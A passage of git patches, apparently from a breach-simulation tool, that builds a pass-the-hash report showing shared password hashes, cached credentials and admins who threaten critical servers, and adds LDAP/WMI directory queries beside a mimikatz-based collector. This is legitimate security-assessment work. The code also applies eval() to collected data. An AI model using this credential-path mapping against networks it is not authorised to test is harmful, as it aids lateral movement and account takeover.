19 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 5730a2ade..110ffa8bd 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -310,7 +310,16 @@ class Machine(object): @cache def GetLocalAdmins(self): - return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + + #debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) + #admins.update(debug) + + return admins + + @cache + def GetLocalAdminSids(self): + return set(self.GetLocalAdmins().keys()) @cache def GetLocalSids(self): @@ -325,7 +334,7 @@ class Machine(object): @cache def GetLocalAdminNames(self): - return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) + return set(self.GetLocalAdmins().values()) @cache def GetSam(self): @@ -452,13 +461,13 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetLocalAdmins() + domain_admins |= dc.GetLocalAdminSids() return domain_admins @cache def GetAdmins(self): - return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + return self.GetLocalAdminSids() | self.GetDomainAdminsOfMachine() @cache def GetAdminNames(self): @@ -820,11 +829,16 @@ def main(): dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" - print """""" + print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 1: continue print """""".format(secret=secret, count=count) + print """""" print """
    SecretUser Count
    SecretUser CountUsers That Share This Password
    {secret}{count}
      """ + for sid in pth.GetSidsBySecret(secret): + print """
    • {username}""" + print """
    • {username}
    • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
    """ print "

    Cached Passwords

    " From 13bf7107c9ee57f7afc42e760f53bbeca12891f3 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:30:55 +0300 Subject: [PATCH 041/183] BUGFIX: Take the latest info_collection got from machine instead of oldest --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 110ffa8bd..f61c2d9c9 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -98,7 +98,7 @@ class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) - self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", 1)]).limit(1) + self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit(1) if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] @@ -282,7 +282,7 @@ class Machine(object): doc = self.latest_system_info users = dict() - + for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue From 7a7729c21270e352a215efe241b84918cc983fb6 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:58:47 +0300 Subject: [PATCH 042/183] add threatning users to report --- monkey_island/cc/resources/pthmap.py | 31 +++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f61c2d9c9..25f2b05c3 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -818,6 +818,14 @@ class PassTheHashMap(object): return machines + def GetThreateningUsersByVictim(victim): + threatening_users = set() + + for attacker in pth.GetAttackersByVictim(victim): + threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) + + return threatening_users + def main(): pth = PassTheHashMap() @@ -836,11 +844,32 @@ def main(): print """{secret}{count}""".format(secret=secret, count=count) print """
      """ for sid in pth.GetSidsBySecret(secret): - print """
    • {username}""" print """
    • {username}
    • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) print """
    """ print """""" + + + print "

    Strong Users That Threat Critical Servers

    " + print "

    Administrators of critical servers that we could find thier secret cached somewhere

    " + + threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) + + print """""" + print """""" + for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + print """
    Critical ServerHostnameDomainThreatening User CountThreatening Users
    {ip}{hostname}{domain}{count}
      """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
    • {username}
    • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
    """ + + print "

    Cached Passwords

    " print "

    On how many machines each secret is cached (possible attacker count)?

    " cache_counts = dict(map(lambda x: (x, pth.GetAttackCountBySecret(x)), pth.GetAllSecrets())) From 0d4e28b55bf1ae44df8307a80146e95ae0e952bf Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 14:43:26 +0300 Subject: [PATCH 043/183] small fixes --- monkey_island/cc/resources/pthmap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 25f2b05c3..f006c0fe6 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -48,7 +48,7 @@ def cache(foo): if type(o) in (int, float, str, unicode): return o - elif type(o) in (list, tuple): + elif type(o) in (list, tuple, set): hashed = tuple([hash(x) for x in o]) if "NotHashable" in hashed: @@ -75,13 +75,13 @@ def cache(foo): return "PassTheHashMapSingleton" else: + assert False, "%s of type %s is not hashable" % (repr(o), type(o)) return "NotHashable" def wrapper(*args, **kwargs): hashed = (hash(args), hash(kwargs)) if "NotHashable" in hashed: - print foo return foo(*args, **kwargs) if not hasattr(foo, "_mycache_"): @@ -818,10 +818,10 @@ class PassTheHashMap(object): return machines - def GetThreateningUsersByVictim(victim): + def GetThreateningUsersByVictim(self, victim): threatening_users = set() - for attacker in pth.GetAttackersByVictim(victim): + for attacker in self.GetAttackersByVictim(victim): threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) return threatening_users From 29fac1a960e082697efdc68e3f4cd7afd80b7522 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 14:59:06 +0300 Subject: [PATCH 044/183] fix --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f006c0fe6..9bdfa275d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -763,13 +763,16 @@ class PassTheHashMap(object): @cache def GetAttackersByVictim(self, victim): - attackers = set() + if type(victim) != unicode: + victim = victim.monkey_guid + attackers = set() + for atck, vic, _ in self.edges: if vic == victim: attackers.add(atck) - return attackers + return set(map(Machine, attackers)) @cache def GetVictimsByAttacker(self, attacker): From 807606dae270036bf2e0eb5bfaf64edf2a49c378 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:00:22 +0300 Subject: [PATCH 045/183] i think this is also a bug --- monkey_island/cc/resources/pthmap.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 9bdfa275d..e1d544d3c 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -776,13 +776,16 @@ class PassTheHashMap(object): @cache def GetVictimsByAttacker(self, attacker): + if type(victim) != unicode: + victim = victim.monkey_guid + victims = set() for atck, vic, _ in self.edges: if atck == attacker: victims.add(vic) - return victims + return set(map(Machine, victims)) @cache def GetInPathCountByVictim(self, victim, already_processed=None): From e17f9b8273aa632b8d3df57e60a1fc729edc9636 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:02:49 +0300 Subject: [PATCH 046/183] fix --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index e1d544d3c..4ac543a31 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -776,8 +776,8 @@ class PassTheHashMap(object): @cache def GetVictimsByAttacker(self, attacker): - if type(victim) != unicode: - victim = victim.monkey_guid + if type(attacker) != unicode: + attacker = attacker.monkey_guid victims = set() From c308532ff49e032d2c24e8fd0aa0817453f0d078 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:54:03 +0300 Subject: [PATCH 047/183] show low sevirity threat users --- monkey_island/cc/resources/pthmap.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 4ac543a31..ade484ea7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -824,6 +824,11 @@ class PassTheHashMap(object): return machines + @cache + def GetNonCritialServers(self): + return self.machines - self.GetCritialServers() + + @cache def GetThreateningUsersByVictim(self, victim): threatening_users = set() @@ -874,6 +879,26 @@ def main(): print """
""" print """""" + + + print "

Strong Users That Threat NonCritical Servers

" + print "

Administrators of non-critical servers that we could find thier secret cached somewhere

" + + threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) + + print """""" + print """""" + for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + print """
Critical ServerHostnameDomainThreatening User CountThreatening Users
{ip}{hostname}{domain}{count}
    """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
  • {username}
  • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
""" print "

Cached Passwords

" From f7556b09306ca1705f94681a2ce7857a11b2c591 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:57:44 +0300 Subject: [PATCH 048/183] fix --- monkey_island/cc/resources/pthmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index ade484ea7..59fa15832 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -826,7 +826,7 @@ class PassTheHashMap(object): @cache def GetNonCritialServers(self): - return self.machines - self.GetCritialServers() + return set(self.machines) - self.GetCritialServers() @cache def GetThreateningUsersByVictim(self, victim): From 5692d1dc86aa3091b91e19a25b4a11f174a454ee Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:19:58 +0300 Subject: [PATCH 049/183] add dns service to critical services --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 59fa15832..62cc348af 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -206,7 +206,7 @@ class Machine(object): @cache def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns") services = map(str.lower, services) if not name: @@ -899,7 +899,7 @@ def main(): print """""" print """""" - + print "

Cached Passwords

" print "

On how many machines each secret is cached (possible attacker count)?

" From ebda00b333af697538d48eb3387a7ac433ca971d Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:28:29 +0300 Subject: [PATCH 050/183] add list of critical services installed --- monkey_island/cc/resources/pthmap.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 62cc348af..44c621977 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -867,11 +867,17 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + print """""" print """
Critical ServerHostnameDomainThreatening User CountThreatening Users
Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
{ip}{hostname}{domain}{count}
    """ + for service_name in m.GetCriticalServicesInstalled(): + print """
  • {service_name}
  • """.format(service_name=service_name) + print """
    """ for sid in pth.GetThreateningUsersByVictim(m): @@ -887,11 +893,17 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + print """""".format(count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + print """""".format(count=count) + print """""" print """
    Critical ServerHostnameDomainThreatening User CountThreatening Users
    Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
    {ip}{hostname}{domain}{count}
      """ + for service_name in m.GetCriticalServicesInstalled(): + print """
    • {service_name}
    • """.format(service_name=service_name) + print """
      """ for sid in pth.GetThreateningUsersByVictim(m): From d59e464578b50c36f53412f095f44998d8c773fb Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:44:43 +0300 Subject: [PATCH 051/183] only take running services --- monkey_island/cc/resources/pthmap.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 44c621977..daa52e8dd 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -214,9 +214,10 @@ class Machine(object): name = name.lower() - for ser in services: - if ser in name: - return True + return name in services + #for ser in services: + # if ser in name: + # return True return False @@ -239,6 +240,9 @@ class Machine(object): if not IsNameOfCriticalService(service_name): continue + + if eval(service["State"]) != "Running": + continue found.append(service_name) From b49ba7526f8bb619773616d96160e78b38f2805d Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:48:42 +0300 Subject: [PATCH 052/183] fix --- monkey_island/cc/resources/pthmap.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index daa52e8dd..8a65f3197 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -875,13 +875,15 @@ def main(): for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue - print """
    {ip}{hostname}{domain}{count}
    {ip}{hostname}{domain}
      """ for service_name in m.GetCriticalServicesInstalled(): print """
    • {service_name}
    • """.format(service_name=service_name) print """
    {count}
      """ for sid in pth.GetThreateningUsersByVictim(m): @@ -901,13 +903,15 @@ def main(): for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue - print """
    {ip}{hostname}{domain}{count}
    {ip}{hostname}{domain}
      """ for service_name in m.GetCriticalServicesInstalled(): print """
    • {service_name}
    • """.format(service_name=service_name) print """
    {count}
      """ for sid in pth.GetThreateningUsersByVictim(m): From 2e3401f285ce01eaa2dca7582519d27feabc78a9 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:51:07 +0300 Subject: [PATCH 053/183] fix --- monkey_island/cc/resources/pthmap.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 8a65f3197..93af154d7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -899,16 +899,12 @@ def main(): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) print """""" - print """""" + print """""" for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) - print """""" print """""".format(count=count) From d83dad727dbedf70ddfd7bade362bb3d9f04c289 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 16:53:48 +0300 Subject: [PATCH 054/183] remove secret from display --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 93af154d7..0393939cf 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -852,11 +852,11 @@ def main(): dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """
      Critical ServerHostnameDomainCritical Services InstalledThreatening User CountThreatening Users
      Critical ServerHostnameDomainThreatening User CountThreatening Users
      {ip}{hostname}{domain}
        """ - for service_name in m.GetCriticalServicesInstalled(): - print """
      • {service_name}
      • """.format(service_name=service_name) - print """
      {count}
      """ - print """""" + print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 1: continue - print """""".format(secret=secret, count=count) + print """""".format(secret=secret, count=count) print """""" print """
      SecretUser CountUsers That Share This Password
      User CountUsers That Share This Password
      {secret}{count}
      {count}
        """ for sid in pth.GetSidsBySecret(secret): print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) From 99ee46c38a3efcb17a69c12379db133b315e8ab1 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:48:21 +0300 Subject: [PATCH 055/183] add unique local admin --- monkey_island/cc/resources/pthmap.py | 39 ++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 0393939cf..d7934663c 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -841,6 +841,18 @@ class PassTheHashMap(object): return threatening_users + @cache + def GetSharedAdmins(self, m): + shared_admins = set() + + for other in pth.machines: + if m == other: + continue + + shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + + return shared_admins + def main(): pth = PassTheHashMap() @@ -863,8 +875,35 @@ def main(): print """
      """ + + print "

      Local Admin Uniqueness

      " + print "

      We argue that each machine should have it's own distinct set of local admins

      " + dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) + print """""" + print """""" + for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + + print """""" + + print """""".format(count=count) + + print """""" + print """
      IpHostnameDomainCritical Services InstalledShared User CountShared Users
      {ip}{hostname}{domain}
        """ + for service_name in m.GetCriticalServicesInstalled(): + print """
      • {service_name}
      • """.format(service_name=service_name) + print """
      {count}
        """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
      """ + print "

      Strong Users That Threat Critical Servers

      " print "

      Administrators of critical servers that we could find thier secret cached somewhere

      " From 0025d242d71b73da5ed3813c8fb18fd68cc0dcb8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:50:38 +0300 Subject: [PATCH 056/183] fix --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index d7934663c..3b1607ce7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -845,7 +845,7 @@ class PassTheHashMap(object): def GetSharedAdmins(self, m): shared_admins = set() - for other in pth.machines: + for other in self.machines: if m == other: continue @@ -883,7 +883,7 @@ def main(): print """""" print """""" - for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + for m, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 0: continue From 8ab880340f7e379542c137a6333928ea90236112 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 17:58:15 +0300 Subject: [PATCH 057/183] don't count DomainAdmins as shared admins --- monkey_island/cc/resources/pthmap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 3b1607ce7..f3e9e93be 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -465,7 +465,7 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetLocalAdminSids() + domain_admins |= dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")) return domain_admins @@ -851,6 +851,7 @@ class PassTheHashMap(object): shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + shared_admins -= m.GetDomainAdminsOfMachine() return shared_admins def main(): From 9594fab1a29f1517bbd5c6bd9267b0bc2090be52 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:15:10 +0300 Subject: [PATCH 058/183] shared users seems to work --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f3e9e93be..67ed3e23d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -48,6 +48,9 @@ def cache(foo): if type(o) in (int, float, str, unicode): return o + elif type(o) in (type(None),): + return "___None___" + elif type(o) in (list, tuple, set): hashed = tuple([hash(x) for x in o]) @@ -465,7 +468,7 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")) + domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) return domain_admins @@ -899,7 +902,7 @@ def main(): print """""" From 1d25ba90856019381ae2734c740229039ccb3fa7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:40:11 +0300 Subject: [PATCH 059/183] check SidType everywhere to make sure we don't have type errors --- monkey_island/cc/resources/pthmap.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 67ed3e23d..400919d50 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -39,6 +39,16 @@ DsRole_RoleMemberServer = 3 DsRole_RoleBackupDomainController = 4 DsRole_RolePrimaryDomainController = 5 +SidTypeUser = 1 +SidTypeGroup = 2 +SidTypeDomain = 3 +SidTypeAlias = 4 +SidTypeWellKnownGroup = 5 +SidTypeDeletedAccount = 6 +SidTypeInvalid = 7 +SidTypeUnknown = 8 +SidTypeComputer = 9 + def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) @@ -162,6 +172,9 @@ class Machine(object): for user in doc["data"]["Win32_UserAccount"]: if eval(user["Name"]) != username: continue + + if eval(user["SIDType"]) != SidTypeUser: + continue return eval(user["SID"]) @@ -190,6 +203,9 @@ class Machine(object): for user in doc["data"]["Win32_UserAccount"]: if eval(user["SID"]) != sid: continue + + if eval(user["SIDType"]) != SidTypeUser: + continue return { "Domain": eval(user["Domain"]), "Username": eval(user["Name"]), @@ -280,6 +296,9 @@ class Machine(object): if eval(group["Name"]) != group_name: continue + if eval(group["SIDType"]) != SidTypeGroup: + continue + return eval(group["SID"]) return None @@ -293,10 +312,16 @@ class Machine(object): for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue + + if eval(group_user["GroupComponent"]["SIDType"]) != SidTypeGroup: + continue if "PartComponent" not in group_user.keys(): continue + if eval(group_user["PartComponent"]["SIDType"]) != SidTypeUser: + continue + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users @@ -335,6 +360,9 @@ class Machine(object): SIDs = set() for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SIDType"]) != SidTypeUser: + continue + SIDs.add(eval(user["SID"])) return SIDs From 72fa6bbd684810ef78881d0f912688833fe3b2cb Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 30 Apr 2018 18:42:30 +0300 Subject: [PATCH 060/183] no need to eval SidType --- monkey_island/cc/resources/pthmap.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 400919d50..fd882a6c6 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -173,7 +173,7 @@ class Machine(object): if eval(user["Name"]) != username: continue - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue return eval(user["SID"]) @@ -204,7 +204,7 @@ class Machine(object): if eval(user["SID"]) != sid: continue - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue return { "Domain": eval(user["Domain"]), @@ -296,7 +296,7 @@ class Machine(object): if eval(group["Name"]) != group_name: continue - if eval(group["SIDType"]) != SidTypeGroup: + if group["SIDType"] != SidTypeGroup: continue return eval(group["SID"]) @@ -313,13 +313,13 @@ class Machine(object): if eval(group_user["GroupComponent"]["SID"]) != sid: continue - if eval(group_user["GroupComponent"]["SIDType"]) != SidTypeGroup: + if group_user["GroupComponent"]["SIDType"] != SidTypeGroup: continue if "PartComponent" not in group_user.keys(): continue - if eval(group_user["PartComponent"]["SIDType"]) != SidTypeUser: + if group_user["PartComponent"]["SIDType"] != SidTypeUser: continue users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) @@ -360,7 +360,7 @@ class Machine(object): SIDs = set() for user in doc["data"]["Win32_UserAccount"]: - if eval(user["SIDType"]) != SidTypeUser: + if user["SIDType"] != SidTypeUser: continue SIDs.add(eval(user["SID"])) From 4c1d0bfff540b78506bd99e39974dda8ee911554 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:40:38 +0300 Subject: [PATCH 061/183] add ldap wmi queries --- .../system_info/windows_info_collector.py | 56 +++++++++++++++++-- 1 file changed, 51 insertions(+), 5 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index bee391ae8..9e5a77e84 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -5,6 +5,7 @@ import traceback import sys sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import wmi +import win32com import _winreg from mimikatz_collector import MimikatzCollector @@ -27,6 +28,30 @@ WMI_CLASSES = set(["Win32_OperatingSystem", #"Win32_Process", ]) +WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", + "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", + "DS_objectSid", "DS_objectClass", "DS_memberOf", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", + "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", + "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), + + "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", + "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", + "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), + + "ds_copmuter": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "DS_adminDisplayName", "DS_badPasswordTime", + "DS_badPwdCount", "DS_cn", "DS_distinguishedName", + "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", + "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", + "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", + "DS_whenChanged", "DS_whenCreated"), + } + + def fix_obj_for_mongo(o): if type(o) == dict: return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) @@ 